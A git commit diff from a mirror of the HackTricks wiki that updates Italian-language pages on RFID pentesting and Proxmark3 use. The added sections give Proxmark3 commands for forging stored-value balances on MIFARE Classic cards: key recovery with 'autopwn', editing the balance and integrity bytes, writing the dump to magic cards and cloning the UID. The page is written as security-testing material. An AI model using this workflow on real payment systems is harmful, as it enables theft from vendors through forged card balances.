mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/todo/radio-hacking/proxmark-3.md', 'src/todo/radio-hack
This commit is contained in:
parent
da305c79ca
commit
b24e98d836
@ -2,86 +2,86 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Introduzione
|
||||
## Introduction
|
||||
|
||||
**Radio Frequency Identification (RFID)** è la soluzione radio a corto raggio più popolare. Viene solitamente utilizzata per memorizzare e trasmettere informazioni che identificano un'entità.
|
||||
**Radio Frequency Identification (RFID)** è la soluzione radio a corto raggio più diffusa. Viene solitamente usata per memorizzare e trasmettere informazioni che identificano un'entità.
|
||||
|
||||
Un tag RFID può fare affidamento su **una propria fonte di alimentazione (attiva)**, come una batteria incorporata, o ricevere la sua energia dall'antenna di lettura utilizzando la corrente **indotta dalle onde radio ricevute** (**passiva**).
|
||||
Un tag RFID può basarsi su **una propria sorgente di alimentazione (active)**, come una batteria integrata, oppure ricevere la sua energia dall'antenna di lettura tramite la corrente **indotta dalle onde radio ricevute** (**passive**).
|
||||
|
||||
### Classi
|
||||
### Classes
|
||||
|
||||
EPCglobal suddivide i tag RFID in sei categorie. Un tag in ciascuna categoria ha tutte le capacità elencate nella categoria precedente, rendendolo retrocompatibile.
|
||||
EPCglobal suddivide i tag RFID in sei categorie. Un tag di ciascuna categoria possiede tutte le capacità elencate nella categoria precedente, rendendolo retrocompatibile.
|
||||
|
||||
- I tag di **Classe 0** sono tag **passivi** che operano nelle bande **UHF**. Il fornitore **li preprogramma** nella fabbrica di produzione. Di conseguenza, non **puoi cambiare** le informazioni memorizzate nella loro memoria.
|
||||
- I tag di **Classe 1** possono anche operare nelle bande **HF**. Inoltre, possono essere **scritti solo una volta** dopo la produzione. Molti tag di Classe 1 possono anche elaborare **controlli di ridondanza ciclica** (CRC) dei comandi che ricevono. I CRC sono alcuni byte extra alla fine dei comandi per la rilevazione degli errori.
|
||||
- I tag di **Classe 2** possono essere **scritti più volte**.
|
||||
- I tag di **Classe 3** possono contenere **sensori incorporati** che possono registrare parametri ambientali, come la temperatura attuale o il movimento del tag. Questi tag sono **semi-passivi**, perché sebbene **abbiano** una fonte di alimentazione incorporata, come una **batteria** integrata, non **possono iniziare** comunicazioni wireless con altri tag o lettori.
|
||||
- I tag di **Classe 4** possono iniziare comunicazioni con altri tag della stessa classe, rendendoli **tag attivi**.
|
||||
- I tag di **Classe 5** possono fornire **energia ad altri tag e comunicare con tutte le classi di tag precedenti**. I tag di Classe 5 possono agire come **lettori RFID**.
|
||||
- **Class 0** i tag sono **passive** che operano nelle bande **UHF**. Il produttore li **preprogramma** in fabbrica. Di conseguenza, **non puoi cambiare** le informazioni memorizzate nella loro memoria.
|
||||
- **Class 1** i tag possono anche operare nelle bande **HF**. Inoltre, possono essere **scritti una sola volta** dopo la produzione. Molti tag Class 1 possono anche elaborare **cyclic redundancy checks** (CRCs) dei comandi che ricevono. I CRC sono alcuni byte aggiuntivi alla fine dei comandi per il rilevamento degli errori.
|
||||
- **Class 2** i tag possono essere **riscritti più volte**.
|
||||
- **Class 3** i tag possono contenere **sensori integrati** che possono registrare parametri ambientali, come la temperatura attuale o il movimento del tag. Questi tag sono **semi-passivi**, perché anche se **hanno** una sorgente di alimentazione integrata, come una **batteria**, **non possono iniziare** comunicazioni wireless con altri tag o reader.
|
||||
- **Class 4** i tag possono iniziare la comunicazione con altri tag della stessa classe, rendendoli **active tags**.
|
||||
- **Class 5** i tag possono fornire **alimentazione ad altri tag e comunicare con tutte le classi precedenti**. I tag Class 5 possono agire come **RFID readers**.
|
||||
|
||||
### Informazioni Memorizzate nei Tag RFID
|
||||
### Information Stored in RFID Tags
|
||||
|
||||
La memoria di un tag RFID di solito memorizza quattro tipi di dati: i **dati di identificazione**, che **identificano** l'**entità** a cui il tag è attaccato (questi dati includono campi definiti dall'utente, come conti bancari); i **dati supplementari**, che forniscono **ulteriori** **dettagli** riguardo all'entità; i **dati di controllo**, utilizzati per la **configurazione** interna del tag; e i **dati del produttore** del tag, che contengono un Identificatore Unico del tag (**UID**) e dettagli riguardanti la **produzione**, il **tipo** e il **fornitore** del tag. Troverai i primi due tipi di dati in tutti i tag commerciali; gli ultimi due possono differire in base al fornitore del tag.
|
||||
La memoria di un tag RFID solitamente conserva quattro tipi di dati: i **dati di identificazione**, che **identificano** l'**entità** a cui il tag è attaccato (questi dati includono campi definiti dall'utente, come conti bancari); i **dati supplementari**, che forniscono **ulteriori** **dettagli** sull'entità; i **dati di controllo**, usati per la **configurazione** interna del tag; e i **dati del produttore**, che contengono l'Unique Identifier (**UID**) del tag e dettagli riguardo alla **produzione**, **tipo** e **vendor** del tag. Troverai i primi due tipi di dati in tutti i tag commerciali; gli ultimi due possono variare in base al vendor del tag.
|
||||
|
||||
Lo standard ISO specifica il valore dell'Identificatore della Famiglia di Applicazione (**AFI**), un codice che indica il **tipo di oggetto** a cui appartiene il tag. Un altro registro importante, anch'esso specificato dall'ISO, è l'Identificatore del Formato di Memorizzazione dei Dati (**DSFID**), che definisce la **organizzazione logica dei dati utente**.
|
||||
Lo standard ISO specifica il valore Application Family Identifier (**AFI**), un codice che indica il **tipo di oggetto** a cui il tag appartiene. Un altro registro importante, anch'esso specificato dall'ISO, è il Data Storage Format Identifier(**DSFID**), che definisce la **organizzazione logica dei dati utente**.
|
||||
|
||||
La maggior parte dei **controlli di sicurezza** RFID ha meccanismi che **limitano** le operazioni di **lettura** o **scrittura** su ciascun blocco di memoria utente e sui registri speciali contenenti i valori AFI e DSFID. Questi **meccanismi di blocco** utilizzano dati memorizzati nella memoria di controllo e hanno **password predefinite** preconfigurate dal fornitore, ma consentono ai proprietari del tag di **configurare password personalizzate**.
|
||||
La maggior parte dei **controlli di sicurezza** RFID ha meccanismi che **limitano** le operazioni di **lettura** o **scrittura** su ogni blocco di memoria utente e sui registri speciali che contengono i valori AFI e DSFID. Questi **meccanismi di lock** utilizzano dati memorizzati nella memoria di controllo e hanno **password predefinite** configurate dal vendor ma permettono ai proprietari dei tag di **configurare password personalizzate**.
|
||||
|
||||
### Confronto tra Tag a Bassa e Alta Frequenza
|
||||
### Low & High frequency tags comparison
|
||||
|
||||
<figure><img src="../../images/image (983).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Tag RFID a Bassa Frequenza (125kHz)
|
||||
## Low-Frequency RFID Tags (125kHz)
|
||||
|
||||
I **tag a bassa frequenza** sono spesso utilizzati in sistemi che **non richiedono alta sicurezza**: accesso agli edifici, chiavi per citofoni, carte di abbonamento in palestra, ecc. A causa della loro maggiore portata, sono comodi da usare per il parcheggio a pagamento: il conducente non deve avvicinare la carta al lettore, poiché viene attivata da una distanza maggiore. Allo stesso tempo, i tag a bassa frequenza sono molto primitivi, hanno una bassa velocità di trasferimento dati. Per questo motivo, è impossibile implementare un complesso trasferimento dati bidirezionale per cose come il mantenimento del saldo e la crittografia. I tag a bassa frequenza trasmettono solo il loro breve ID senza alcun mezzo di autenticazione.
|
||||
I **tag a bassa frequenza** sono spesso usati in sistemi che **non richiedono alta sicurezza**: accessi agli edifici, citofoni, tessere di iscrizione alla palestra, ecc. Grazie alla loro maggiore portata, sono comodi da usare per i parcheggi a pagamento: il guidatore non deve avvicinare la tessera al reader, perché viene attivata da più lontano. Allo stesso tempo, i tag a bassa frequenza sono molto primitivi e hanno una bassa velocità di trasferimento dati. Per questo motivo è impossibile implementare trasferimenti dati bidirezionali complessi per funzioni come il mantenimento del saldo e la crittografia. I tag a bassa frequenza trasmettono solo il loro breve ID senza alcun mezzo di autenticazione.
|
||||
|
||||
Questi dispositivi si basano sulla tecnologia **RFID** **passiva** e operano in un **intervallo di 30 kHz a 300 kHz**, anche se è più comune utilizzare 125 kHz a 134 kHz:
|
||||
Questi dispositivi si basano sulla tecnologia **passive RFID** e operano in un **intervallo da 30 kHz a 300 kHz**, anche se è più comune usare 125 kHz a 134 kHz:
|
||||
|
||||
- **Lunga distanza** — una frequenza più bassa si traduce in una maggiore portata. Ci sono alcuni lettori EM-Marin e HID, che funzionano da una distanza di fino a un metro. Questi sono spesso utilizzati nel parcheggio.
|
||||
- **Protocollo primitivo** — a causa della bassa velocità di trasferimento dati, questi tag possono trasmettere solo il loro breve ID. Nella maggior parte dei casi, i dati non sono autenticati e non sono protetti in alcun modo. Non appena la carta è nel raggio del lettore, inizia semplicemente a trasmettere il suo ID.
|
||||
- **Bassa sicurezza** — Queste carte possono essere facilmente copiate, o anche lette dalla tasca di qualcun altro a causa della primitività del protocollo.
|
||||
- **Lunga portata** — frequenze più basse si traducono in maggiore portata. Esistono alcuni reader EM-Marin e HID che funzionano da una distanza fino a un metro. Questi sono spesso usati nei parcheggi per auto.
|
||||
- **Protocollo primitivo** — a causa della bassa velocità di trasferimento dati questi tag possono solo trasmettere il loro breve ID. Nella maggior parte dei casi i dati non sono autenticati e non sono protetti in alcun modo. Appena la tessera è nel raggio del reader inizia semplicemente a trasmettere il suo ID.
|
||||
- **Bassa sicurezza** — queste tessere possono essere facilmente clonate, o persino lette dalla tasca di qualcun altro a causa della primitivezza del protocollo.
|
||||
|
||||
**Protocollo 125 kHz popolari:**
|
||||
**Popular 125 kHz protocols:**
|
||||
|
||||
- **EM-Marin** — EM4100, EM4102. Il protocollo più popolare nella CIS. Può essere letto da circa un metro grazie alla sua semplicità e stabilità.
|
||||
- **HID Prox II** — protocollo a bassa frequenza introdotto da HID Global. Questo protocollo è più popolare nei paesi occidentali. È più complesso e le carte e i lettori per questo protocollo sono relativamente costosi.
|
||||
- **Indala** — protocollo a bassa frequenza molto vecchio introdotto da Motorola, e successivamente acquisito da HID. È meno probabile che tu lo incontri nel mondo reale rispetto ai precedenti due perché sta cadendo in disuso.
|
||||
- **HID Prox II** — protocollo a bassa frequenza introdotto da HID Global. Questo protocollo è più popolare nei paesi occidentali. È più complesso e le tessere e i reader per questo protocollo sono relativamente costosi.
|
||||
- **Indala** — protocollo a bassa frequenza molto vecchio introdotto da Motorola e in seguito acquistato da HID. È meno probabile incontrarlo in natura rispetto ai due precedenti perché sta cadendo in disuso.
|
||||
|
||||
In realtà, ci sono molti più protocolli a bassa frequenza. Ma utilizzano tutti la stessa modulazione sul livello fisico e possono essere considerati, in un modo o nell'altro, una variazione di quelli elencati sopra.
|
||||
In realtà esistono molti altri protocolli a bassa frequenza. Ma usano tutti la stessa modulazione a livello fisico e possono essere considerati, in un modo o nell'altro, una variazione di quelli elencati sopra.
|
||||
|
||||
### Attacco
|
||||
### Attack
|
||||
|
||||
Puoi **attaccare questi Tag con il Flipper Zero**:
|
||||
Puoi **attaccare** questi tag con il Flipper Zero:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
flipper-zero/fz-125khz-rfid.md
|
||||
{{#endref}}
|
||||
|
||||
## Tag RFID ad Alta Frequenza (13.56 MHz)
|
||||
## High-Frequency RFID Tags (13.56 MHz)
|
||||
|
||||
I **tag ad alta frequenza** sono utilizzati per un'interazione più complessa tra lettore e tag quando hai bisogno di crittografia, un ampio trasferimento dati bidirezionale, autenticazione, ecc.\
|
||||
Si trovano solitamente in carte bancarie, trasporti pubblici e altri passaggi sicuri.
|
||||
I **tag ad alta frequenza** vengono usati per interazioni reader-tag più complesse quando sono necessarie crittografia, un ampio trasferimento dati bidirezionale, autenticazione, ecc.\
|
||||
Si trovano solitamente in carte bancarie, trasporto pubblico e altri pass per sicuri.
|
||||
|
||||
I **tag ad alta frequenza 13.56 MHz sono un insieme di standard e protocolli**. Vengono solitamente chiamati [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), ma non è sempre corretto. Il set di protocolli di base utilizzato a livello fisico e logico è ISO 14443. I protocolli di alto livello, così come gli standard alternativi (come ISO 19092), si basano su di esso. Molte persone si riferiscono a questa tecnologia come **Near Field Communication (NFC)**, un termine per dispositivi che operano sulla frequenza di 13.56 MHz.
|
||||
I **tag ad alta frequenza 13.56 MHz sono un insieme di standard e protocolli**. Vengono solitamente chiamati [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), ma non è sempre corretto. L'insieme di protocolli di base usati ai livelli fisico e logico è ISO 14443. I protocolli di alto livello, così come standard alternativi (come ISO 19092), si basano su di esso. Molti chiamano questa tecnologia **Near Field Communication (NFC)**, termine per dispositivi che operano sulla frequenza di 13.56 MHz.
|
||||
|
||||
<figure><img src="../../images/image (930).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In parole semplici, l'architettura NFC funziona così: il protocollo di trasmissione è scelto dall'azienda che produce le carte e implementato sulla base del livello ISO 14443. Ad esempio, NXP ha inventato il proprio protocollo di trasmissione di alto livello chiamato Mifare. Ma a livello inferiore, le carte Mifare si basano sullo standard ISO 14443-A.
|
||||
Per semplificare, l'architettura di NFC funziona così: il protocollo di trasmissione è scelto dall'azienda che produce le tessere ed è implementato sulla base del livello basso ISO 14443. Per esempio, NXP ha inventato il proprio protocollo di trasmissione di alto livello chiamato Mifare. Ma a livello inferiore, le tessere Mifare si basano sullo standard ISO 14443-A.
|
||||
|
||||
Flipper può interagire sia con il protocollo ISO 14443 di basso livello, sia con il protocollo di trasferimento dati Mifare Ultralight e EMV utilizzato nelle carte bancarie. Stiamo lavorando per aggiungere supporto per Mifare Classic e NFC NDEF. Un'analisi approfondita dei protocolli e degli standard che compongono l'NFC merita un articolo separato che prevediamo di pubblicare in seguito.
|
||||
Flipper può interagire sia con il protocollo di basso livello ISO 14443, sia con il protocollo di trasferimento dati Mifare Ultralight e EMV usato nelle carte bancarie. Stiamo lavorando per aggiungere il supporto per Mifare Classic e NFC NDEF. Un'analisi approfondita dei protocolli e degli standard che compongono NFC meriterebbe un articolo separato che prevediamo di pubblicare più avanti.
|
||||
|
||||
Tutte le carte ad alta frequenza basate sullo standard ISO 14443-A hanno un ID chip unico. Funziona come il numero di serie della carta, come l'indirizzo MAC di una scheda di rete. **Di solito, l'UID è lungo 4 o 7 byte**, ma può raramente arrivare **fino a 10**. Gli UID non sono un segreto e sono facilmente leggibili, **a volte anche stampati sulla carta stessa**.
|
||||
Tutte le tessere ad alta frequenza basate sullo standard ISO 14443-A hanno un ID chip univoco. Agisce come il numero seriale della tessera, come l'indirizzo MAC di una scheda di rete. **Di solito, l'UID è lungo 4 o 7 byte**, ma raramente può arrivare **fino a 10**. Gli UID non sono segreti e sono facilmente leggibili, **a volte persino stampati sulla tessera stessa**.
|
||||
|
||||
Ci sono molti sistemi di controllo accessi che si basano sull'UID per **autenticare e concedere accesso**. A volte questo avviene **anche** quando i tag RFID **supportano la crittografia**. Tale **uso improprio** li riduce al livello delle stupide **carte da 125 kHz** in termini di **sicurezza**. Le carte virtuali (come Apple Pay) utilizzano un UID dinamico in modo che i proprietari dei telefoni non possano aprire porte con la loro app di pagamento.
|
||||
Ci sono molti sistemi di controllo accessi che si basano sull'UID per **autenticare e concedere l'accesso**. A volte ciò avviene **anche** quando i tag RFID **supportano la crittografia**. Tale **abuso** li porta allo stesso livello delle semplici **tessere 125 kHz** in termini di **sicurezza**. Le tessere virtuali (come Apple Pay) usano un UID dinamico in modo che i proprietari del telefono non aprano porte con la loro app di pagamento.
|
||||
|
||||
- **Bassa portata** — le carte ad alta frequenza sono progettate specificamente in modo che debbano essere posizionate vicino al lettore. Questo aiuta anche a proteggere la carta da interazioni non autorizzate. La massima distanza di lettura che siamo riusciti a raggiungere è stata di circa 15 cm, e questo è stato con lettori ad alta portata realizzati su misura.
|
||||
- **Protocolli avanzati** — velocità di trasferimento dati fino a 424 kbps consentono protocolli complessi con trasferimento dati bidirezionale completo. Il che a sua volta **consente la crittografia**, il trasferimento di dati, ecc.
|
||||
- **Portata ridotta** — le tessere ad alta frequenza sono progettate in modo che debbano essere avvicinate al reader. Questo aiuta anche a proteggere la tessera da interazioni non autorizzate. La portata massima di lettura che siamo riusciti a raggiungere è stata di circa 15 cm, e ciò con reader ad alta portata fatti su misura.
|
||||
- **Protocolli avanzati** — velocità di trasferimento dati fino a 424 kbps permettono protocolli complessi con trasferimenti dati bidirezionali completi. Il che a sua volta **consente crittografia**, trasferimento dati, ecc.
|
||||
- **Alta sicurezza** — le carte contactless ad alta frequenza non sono in alcun modo inferiori alle smart card. Ci sono carte che supportano algoritmi crittograficamente forti come AES e implementano crittografia asimmetrica.
|
||||
|
||||
### Attacco
|
||||
### Attack
|
||||
|
||||
Puoi **attaccare questi Tag con il Flipper Zero**:
|
||||
Puoi **attaccare** questi tag con il Flipper Zero:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -95,9 +95,55 @@ Oppure usando il **proxmark**:
|
||||
proxmark-3.md
|
||||
{{#endref}}
|
||||
|
||||
### Costruire un Cloner Mobile HID MaxiProx 125 kHz
|
||||
### MiFare Classic offline stored-value tampering (broken Crypto1)
|
||||
|
||||
Se hai bisogno di una soluzione **a lungo raggio**, **alimentata a batteria** per raccogliere i badge HID Prox® durante gli ingaggi di red team, puoi convertire il lettore **HID MaxiProx 5375** montato a parete in un cloner autonomo che si adatta a uno zaino. La guida meccanica ed elettrica completa è disponibile qui:
|
||||
Quando un sistema memorizza un saldo monetario direttamente su una carta MiFare Classic, spesso è possibile manipolarlo perché Classic usa il cifrario Crypto1 deprecato di NXP. Crypto1 è stato compromesso da anni, permettendo il recupero delle chiavi di settore e la lettura/scrittura completa della memoria della carta con hardware commerciale (es., Proxmark3).
|
||||
|
||||
End-to-end workflow (astratto):
|
||||
|
||||
1) Effettua il dump della carta originale e recupera le chiavi
|
||||
```bash
|
||||
# Attempt all built-in Classic key recovery attacks and dump the card
|
||||
hf mf autopwn
|
||||
```
|
||||
Questo tipicamente recupera le chiavi del settore (A/B) e genera un dump completo della scheda nella cartella client dumps.
|
||||
|
||||
2) Individuare e comprendere i campi value/integrity
|
||||
|
||||
- Eseguire ricariche legittime sulla scheda originale e effettuare più dump (prima/dopo).
|
||||
- Eseguire un diff tra i due dump per identificare i blocchi/byte che cambiano e che rappresentano il saldo e gli eventuali campi di integrità.
|
||||
- Molte implementazioni Classic usano la codifica nativa "value block" oppure implementano checksum propri (es., XOR del saldo con un altro campo e una costante). Dopo aver modificato il saldo, ricalcola i byte di integrità di conseguenza e assicurati che tutti i campi duplicati/complementati siano coerenti.
|
||||
|
||||
3) Scrivere il dump modificato su un tag Classic “Chinese magic” scrivibile
|
||||
```bash
|
||||
# Load a modified binary dump onto a UID-changeable Classic tag
|
||||
hf mf cload -f modified.bin
|
||||
```
|
||||
4) Clona l'UID originale in modo che i terminali riconoscano la tessera
|
||||
```bash
|
||||
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
|
||||
hf mf csetuid -u <original_uid>
|
||||
```
|
||||
5) Uso ai terminali
|
||||
|
||||
I lettori che si fidano del saldo sulla carta e dell'UID accetteranno la carta manipolata. Le osservazioni sul campo mostrano che molte installazioni limitano i saldi in base alla larghezza del campo (ad es., 16-bit fixed-point).
|
||||
|
||||
Note
|
||||
|
||||
- Se il sistema utilizza value blocks nativi Classic, ricorda il formato: value (4B) + ~value (4B) + value (4B) + block address + ~address. Tutte le parti devono corrispondere.
|
||||
- Per formati custom con checksum semplici, l'analisi differenziale è il modo più veloce per ricavare la funzione di integrità senza effettuare il reverse engineering del firmware.
|
||||
- Solo i tag con UID modificabile ("Chinese magic" gen1a/gen2) permettono la scrittura del block 0/UID. Le normali carte Classic hanno UID in sola lettura.
|
||||
|
||||
Per i comandi pratici di Proxmark3, vedi:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
proxmark-3.md
|
||||
{{#endref}}
|
||||
|
||||
### Costruire un cloner mobile portatile HID MaxiProx 125 kHz
|
||||
|
||||
Se hai bisogno di una soluzione **long-range**, **battery-powered** per raccogliere badge HID Prox® durante engagement red-team puoi convertire il lettore a muro **HID MaxiProx 5375** in un cloner autonomo che entra in uno zaino. La guida completa meccanica ed elettrica è disponibile qui:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -110,5 +156,8 @@ maxiprox-mobile-cloner.md
|
||||
|
||||
- [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
|
||||
- [Let's Clone a Cloner – Part 3 (TrustedSec)](https://trustedsec.com/blog/lets-clone-a-cloner-part-3-putting-it-all-together)
|
||||
- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
|
||||
- [MIFARE security overview (Wikipedia)](https://en.wikipedia.org/wiki/MIFARE#Security)
|
||||
- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,13 +4,13 @@
|
||||
|
||||
## Attaccare i sistemi RFID con Proxmark3
|
||||
|
||||
La prima cosa che devi fare è avere un [**Proxmark3**](https://proxmark.com) e [**installare il software e le sue dipendenze**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
|
||||
La prima cosa che devi fare è avere un [**Proxmark3**](https://proxmark.com) e [**install the software and it's dependencie**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
|
||||
|
||||
### Attaccare MIFARE Classic 1KB
|
||||
|
||||
Ha **16 settori**, ognuno dei quali ha **4 blocchi** e ogni blocco contiene **16B**. L'UID si trova nel settore 0 blocco 0 (e non può essere modificato).\
|
||||
Per accedere a ciascun settore hai bisogno di **2 chiavi** (**A** e **B**) che sono memorizzate in **blocco 3 di ciascun settore** (settore trailer). Il settore trailer memorizza anche i **bit di accesso** che forniscono i permessi di **lettura e scrittura** su **ciascun blocco** utilizzando le 2 chiavi.\
|
||||
2 chiavi sono utili per dare permessi di lettura se conosci la prima e di scrittura se conosci la seconda (ad esempio).
|
||||
Ha **16 settori**, ognuno dei quali ha **4 blocchi** e ogni blocco contiene **16B**. L'UID si trova nel settore 0, blocco 0 (e non può essere modificato).\
|
||||
Per accedere a ogni settore sono necessarie **2 chiavi** (**A** e **B**) che sono memorizzate in **blocco 3 di ogni settore** (sector trailer). Il sector trailer memorizza anche i **bit di accesso** che danno le autorizzazioni di **lettura e scrittura** su **ogni blocco** usando le 2 chiavi.\
|
||||
Le 2 chiavi sono utili, ad esempio, per concedere permessi di lettura se conosci la prima e permessi di scrittura se conosci la seconda.
|
||||
|
||||
Possono essere eseguiti diversi attacchi
|
||||
```bash
|
||||
@ -31,11 +31,39 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
|
||||
proxmark3> hf mf eget 01 # Read block 1
|
||||
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
|
||||
```
|
||||
Il Proxmark3 consente di eseguire altre azioni come **l'intercettazione** di una **comunicazione Tag a Reader** per cercare di trovare dati sensibili. In questa scheda potresti semplicemente sniffare la comunicazione e calcolare la chiave utilizzata perché le **operazioni crittografiche utilizzate sono deboli** e conoscendo il testo in chiaro e il testo cifrato puoi calcolarla (strumento `mfkey64`).
|
||||
Il Proxmark3 permette di eseguire altre azioni come **eavesdropping** di una **Tag to Reader communication** per cercare di trovare dati sensibili. Su questa card puoi semplicemente intercettare la comunicazione e calcolare la chiave usata perché le **operazioni crittografiche utilizzate sono deboli** e, conoscendo il testo in chiaro e il testo cifrato, puoi calcolarla (tool `mfkey64`).
|
||||
|
||||
### Comandi Grezzi
|
||||
#### Flusso di lavoro rapido di MiFare Classic per l'abuso di stored-value
|
||||
|
||||
I sistemi IoT a volte utilizzano **tag non marchiati o non commerciali**. In questo caso, puoi utilizzare Proxmark3 per inviare **comandi grezzi personalizzati ai tag**.
|
||||
Quando i terminali memorizzano i saldi sulle schede Classic, un tipico flusso end-to-end è:
|
||||
```bash
|
||||
# 1) Recover sector keys and dump full card
|
||||
proxmark3> hf mf autopwn
|
||||
|
||||
# 2) Modify dump offline (adjust balance + integrity bytes)
|
||||
# Use diffing of before/after top-up dumps to locate fields
|
||||
|
||||
# 3) Write modified dump to a UID-changeable ("Chinese magic") tag
|
||||
proxmark3> hf mf cload -f modified.bin
|
||||
|
||||
# 4) Clone original UID so readers recognize the card
|
||||
proxmark3> hf mf csetuid -u <original_uid>
|
||||
```
|
||||
Note
|
||||
|
||||
- `hf mf autopwn` orchestra nested/darkside/HardNested-style attacks, recupera chiavi e crea dump nella cartella client dumps.
|
||||
- La scrittura del block 0/UID funziona solo su magic gen1a/gen2 cards. Le normali Classic cards hanno UID in sola lettura.
|
||||
- Molte implementazioni usano Classic "value blocks" o simple checksums. Assicurati che tutti i campi duplicati/complementati e i checksums siano coerenti dopo la modifica.
|
||||
|
||||
Vedi una metodologia di livello superiore e le mitigazioni in:
|
||||
|
||||
{{#ref}}
|
||||
pentesting-rfid.md
|
||||
{{#endref}}
|
||||
|
||||
### Comandi raw
|
||||
|
||||
I sistemi IoT a volte usano **tag non brandizzati o non commerciali**. In questo caso, puoi usare Proxmark3 per inviare comandi **raw personalizzati ai tag**.
|
||||
```bash
|
||||
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
|
||||
SAK : 08 [2]
|
||||
@ -45,14 +73,21 @@ No chinese magic backdoor command detected
|
||||
Prng detection: WEAK
|
||||
Valid ISO14443A Tag Found - Quiting Search
|
||||
```
|
||||
Con queste informazioni potresti provare a cercare informazioni sulla scheda e sul modo di comunicare con essa. Proxmark3 consente di inviare comandi raw come: `hf 14a raw -p -b 7 26`
|
||||
Con queste informazioni potresti provare a cercare informazioni sulla tessera e sul modo di comunicare con essa. Proxmark3 permette di inviare comandi raw come: `hf 14a raw -p -b 7 26`
|
||||
|
||||
### Script
|
||||
|
||||
Il software Proxmark3 viene fornito con un elenco precaricato di **script di automazione** che puoi utilizzare per eseguire semplici attività. Per recuperare l'elenco completo, utilizza il comando `script list`. Successivamente, utilizza il comando `script run`, seguito dal nome dello script:
|
||||
Il software Proxmark3 include una lista precaricata di **script di automazione** che puoi usare per eseguire operazioni semplici. Per ottenere la lista completa, usa il comando `script list`. Poi, usa il comando `script run` seguito dal nome dello script:
|
||||
```
|
||||
proxmark3> script run mfkeys
|
||||
```
|
||||
Puoi creare uno script per **fuzz tag readers**, quindi copiando i dati di una **carta valida** basta scrivere uno **script Lua** che **randomizzi** uno o più **byte** casuali e controlli se il **reader si blocca** con qualche iterazione.
|
||||
Puoi creare uno script per **fuzz tag readers**: copiando i dati di una **valid card**, basta scrivere un **Lua script** che **randomize** uno o più **bytes** casuali e verificare se il **reader crashes** in qualche iterazione.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [Proxmark3 wiki: HF MIFARE](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Mifare)
|
||||
- [Proxmark3 wiki: HF Magic cards](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Magic-cards)
|
||||
- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
|
||||
- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user